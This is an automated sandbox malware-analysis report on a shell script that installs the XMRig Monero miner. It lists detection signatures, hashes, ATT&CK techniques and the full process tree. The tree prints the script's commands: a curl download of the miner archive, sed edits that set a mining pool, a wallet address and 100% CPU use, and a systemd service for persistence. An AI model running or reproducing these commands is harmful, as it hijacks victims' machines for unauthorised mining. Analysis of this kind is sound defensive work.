Analysis

  • max time kernel
    7s
  • max time network
    1035s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    01-07-2024 11:26

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1571
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1574
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1575
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1578
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1579
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1592
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1593
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1594
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1594
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1594
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1594
                      • /usr/bin/rm
                        rm /tmp/xmrig.tar.gz
                        2⤵
                          PID:1595
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                            PID:1596
                          • /root/lampp/xmrig
                            /root/lampp/xmrig --help
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            PID:1597
                          • /usr/bin/sed
                            sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                            2⤵
                              PID:1602
                            • /usr/bin/cut
                              cut -f1 -d.
                              2⤵
                                PID:1601
                              • /usr/bin/hostname
                                hostname
                                2⤵
                                  PID:1600
                                • /usr/bin/sed
                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1603
                                  • /usr/bin/sed
                                    sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                    2⤵
                                      PID:1604
                                    • /usr/bin/sed
                                      sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2204-amd64-20240611-en-2\",/" /root/lampp/config.json
                                      2⤵
                                        PID:1605
                                      • /usr/bin/sed
                                        sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                        2⤵
                                          PID:1606
                                        • /usr/bin/sed
                                          sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                          2⤵
                                            PID:1607
                                          • /usr/bin/sed
                                            sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                            2⤵
                                            • Reads runtime system information
                                            PID:1608
                                          • /usr/bin/sed
                                            sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                            2⤵
                                              PID:1609
                                            • /usr/bin/cp
                                              cp /root/lampp/config.json /root/lampp/config_background.json
                                              2⤵
                                                PID:1610
                                              • /usr/bin/sed
                                                sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                                2⤵
                                                  PID:1611
                                                • /usr/bin/cat
                                                  cat
                                                  2⤵
                                                    PID:1612
                                                  • /usr/bin/chmod
                                                    chmod +x /root/lampp/miner.sh
                                                    2⤵
                                                      PID:1613
                                                    • /usr/bin/sudo
                                                      sudo -n true
                                                      2⤵
                                                        PID:1614
                                                        • /usr/bin/true
                                                          true
                                                          3⤵
                                                            PID:1615
                                                        • /usr/bin/awk
                                                          awk "{print \$2}"
                                                          2⤵
                                                            PID:1618
                                                          • /usr/bin/grep
                                                            grep MemTotal /proc/meminfo
                                                            2⤵
                                                              PID:1617
                                                            • /usr/bin/cat
                                                              cat
                                                              2⤵
                                                                PID:1619
                                                              • /usr/bin/sudo
                                                                sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                2⤵
                                                                  PID:1620
                                                                  • /usr/bin/mv
                                                                    mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                                    3⤵
                                                                      PID:1621
                                                                  • /usr/bin/sudo
                                                                    sudo killall xmrig
                                                                    2⤵
                                                                      PID:1622
                                                                      • /usr/bin/killall
                                                                        killall xmrig
                                                                        3⤵
                                                                        • Reads runtime system information
                                                                        PID:1623
                                                                    • /usr/bin/sudo
                                                                      sudo systemctl daemon-reload
                                                                      2⤵
                                                                        PID:1624
                                                                        • /usr/bin/systemctl
                                                                          systemctl daemon-reload
                                                                          3⤵
                                                                            PID:1625
                                                                        • /usr/bin/sudo
                                                                          sudo systemctl enable lampp.service
                                                                          2⤵
                                                                          • Reads runtime system information
                                                                          PID:1659
                                                                          • /usr/bin/systemctl
                                                                            systemctl enable lampp.service
                                                                            3⤵
                                                                            • Reads runtime system information
                                                                            PID:1660
                                                                        • /usr/bin/sudo
                                                                          sudo systemctl start lampp.service
                                                                          2⤵
                                                                          • Reads runtime system information
                                                                          PID:1696
                                                                          • /usr/bin/systemctl
                                                                            systemctl start lampp.service
                                                                            3⤵
                                                                              PID:1697

                                                                        Network

                                                                        MITRE ATT&CK Matrix ATT&CK v13

                                                                        Defense Evasion

                                                                        Virtualization/Sandbox Evasion

                                                                        2
                                                                        T1497

                                                                        Discovery

                                                                        Virtualization/Sandbox Evasion

                                                                        2
                                                                        T1497

                                                                        System Information Discovery

                                                                        3
                                                                        T1082

                                                                        Command and Control

                                                                        Web Service

                                                                        1
                                                                        T1102

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        • /root/lampp/config.json
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          f3294129e6b76283965ad86a815bf383

                                                                          SHA1

                                                                          5fe0ab538f86962efe82cb13fc2da745610740af

                                                                          SHA256

                                                                          578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                          SHA512

                                                                          07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                                        • /root/lampp/miner.sh
                                                                          Filesize

                                                                          253B

                                                                          MD5

                                                                          f96a321a262287ceae164f23f232ed9c

                                                                          SHA1

                                                                          d1eeab41f244b42377afd7cc3de7428736162b24

                                                                          SHA256

                                                                          f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                          SHA512

                                                                          75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                                        • /root/lampp/sed2zrDF4
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          8b11b027dd187104473ee7d661ffe25f

                                                                          SHA1

                                                                          ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                          SHA256

                                                                          984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                          SHA512

                                                                          1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                                        • /root/lampp/sedA7rTJo
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          d489ddbbb83271e967b8af615d17d3c7

                                                                          SHA1

                                                                          f0394a367a60e9727269882154098dec802774ef

                                                                          SHA256

                                                                          5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                          SHA512

                                                                          aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                                        • /root/lampp/sedG2R4Oi
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          b8ab9974f238cc31bfff1ab8e84486c3

                                                                          SHA1

                                                                          a0d4c49a10d2a9b2a3766fdeb8244f098f784e25

                                                                          SHA256

                                                                          0cab3705184b97811d7496990a1035c6355b030df8954367d1374b71064166b3

                                                                          SHA512

                                                                          8504c36c351e73f6d0fdb3f7f3603618c1d4a58c83a58d7a6493656922b6259a79e18d8559f655b685b8ec3b02d2a329039313db8c41b199b1972cee69092d65

                                                                        • /root/lampp/sedJXAubI
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          aa650b392aee82b51503f9f611ebbb7d

                                                                          SHA1

                                                                          c69b7b1e27079d4f4e8649de3c04c190287dd569

                                                                          SHA256

                                                                          b9475448581840aed779538e6f350aad5636d72fdef8a42ea5d00bd99b57c7a3

                                                                          SHA512

                                                                          62445bb19025ef147f544b8872acbc8c0bb4109b4bbc9346250fb14748aa9d56b2afd8a535711e0f6e83affb59b8234b79200f091efff6c38317c05b3e4a9d07

                                                                        • /root/lampp/sedld5hdr
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          cd255c8a05ec1852015923ea9eb96d42

                                                                          SHA1

                                                                          1175f6e4db493282c6d43f97046bd72d3461701f

                                                                          SHA256

                                                                          84ab40bcb66a0557938346414e2a72460cb2c705d4f4d6b400e02ae597ce2ba4

                                                                          SHA512

                                                                          0a7f1d2bc998da1fb0913ab57a9f577e09b4aa88fe06e03807f66e74cc8c25dc8f8c249399fd62e5d3afe8df8864082c32e88216fbaa5133af0b065cca5856f0

                                                                        • /root/lampp/sedzdhk7C
                                                                          Filesize

                                                                          2KB

                                                                          MD5

                                                                          9b0a6124dd35335f5e37156caed3feff

                                                                          SHA1

                                                                          7a3f1ffb08c4dd2d9a36d7b723f7419bc1d1b5cc

                                                                          SHA256

                                                                          8cb502e04833184cee995dbcbc1c5a77d852a79343e5633873ddaf8f4a1d6a70

                                                                          SHA512

                                                                          806c0e95df4efb31e1dd1222517c9036f0e9444211e602057e40edf5d170ae00bad9bdd02f82dfb31e54046ac184634e3bcdf8ae288b0b647343309c529c6351

                                                                        • /root/lampp/xmrig
                                                                          Filesize

                                                                          8.4MB

                                                                          MD5

                                                                          f591b335c99336d24a9ec67126893a53

                                                                          SHA1

                                                                          111aaca4f326bf7a3c4df0b244a74036fd088c81

                                                                          SHA256

                                                                          f6c690cccff6f6515d90514e6ee80743d0a9bd585e3092248d09e5059f57c69b

                                                                          SHA512

                                                                          6dbeb70973bface56c3d2863ae71185529ba9f2ea7d67aeb7ba17a956bd84d19183ee2b5efc3e18549536ed39af1b6d7bddff6d28ce3cbea38ff998256592905

                                                                        • /tmp/lampp.service
                                                                          Filesize

                                                                          177B

                                                                          MD5

                                                                          540c899b78585827e807a62f7345eaf5

                                                                          SHA1

                                                                          8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                          SHA256

                                                                          b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                          SHA512

                                                                          0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                                        • /tmp/xmrig.tar.gz
                                                                          Filesize

                                                                          3.4MB

                                                                          MD5

                                                                          e003a3ec8bdd61151a61cadf950502c4

                                                                          SHA1

                                                                          2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                          SHA256

                                                                          80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                          SHA512

                                                                          ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9